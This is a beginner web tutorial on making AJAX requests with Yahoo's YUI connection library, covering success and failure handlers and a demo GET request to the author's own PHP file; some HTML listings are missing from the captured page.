So go ahead and make an HTML file and call it ajax.html (or whatever you want).

Now paste this code into your HTML file:



Beginner AJAX Tutorial

2 notes:
1. You must edit the path to yui library and be sure the source attribute of your script tags point to the right files.
2. I also added a div to the page so we can display the server’s response in it.

Now we included the portions of yui that we need in our page so let’s write some code.

Step 3:
Now we need to write some code to use yui’s connection object to send requests to the server.

To do this we need to write 2 JavaScript functions to handle 2 situations.
1. Success.
2. Failure, most likely the server didn’t respond.

So lets write our functions, first success:

function success_handler(o) {
document.getElementById('content').innerHTML = o.responseText;
}

The only thing this function does is that it sets the innerHTML of our content container.

2 notes:
1. innerHTML is a non standard attribute that almost all the browsers support.
2. o is an object yui will pass to your functions.

Now lets make our failure handler:

function failure_handler(o) {
document.getElementById('content').innerHTML = 'Server or your connection is death';
}

Here again we change the innerHTML with an appropriate error message.

So all together we have:



Beginner AJAX Tutorial

Let’s go ahead and write two more functions, one for sending a request to the server and one for trying the failure situation.

Here we go:

function send_request() {
var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
}

This is a simple function that sends an asynchronous request to the server.

Let’s take a look at it in more detail:

1. We defined a callback object which sets our success_handler and failure_handler functions for success and failure situations respectively
and also we define a timeout for the connection. This timeout is in milliseconds, so we are setting it to 10 seconds.
This means if we receive a response within 10 seconds then yui calls our success_handler function, otherwise it calls failure_handler.

2. The second line is the actual request. asyncRequest method will handle everything and calls our callback functions.
We are passing 3 parameters.

First parameter is the type of request, which is GET here because we are not sending any form data to the server. (I will show you POST requests in later tutorials)

Second parameter is the URL which we want to send the request to.

Third parameter is our callback object.

Now let’s make another function to test the failure situation:

function test_failure() {
var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
}

This function is the same except it sends a request to a non-existing file, so it’s going to fail.

So far we have this:



Beginner AJAX Tutorial
 



 
<script type="text/javascript">
function success_handler(o) {
document.getElementById('content').innerHTML = o.responseText;
}
 
function failure_handler(o) {
document.getElementById('content').innerHTML = 'Server or your connection is death';
}
 
function send_request() {
var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
}
 
function test_failure() {
var callback = { success:success_handler, failure:failure_handler, timeout: 10000 };
YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
}
script>
 


Send Request | Fail a request

Note: I added the line:

Send Request | Fail a request

To be able to test our little application.

Go ahead and try it here:

http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.html

And the PHP file is only 3 lines:


echo 'Hello World!';
?>

That’s it for now.
Thanks and good luck!
-Codehead

Next: AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message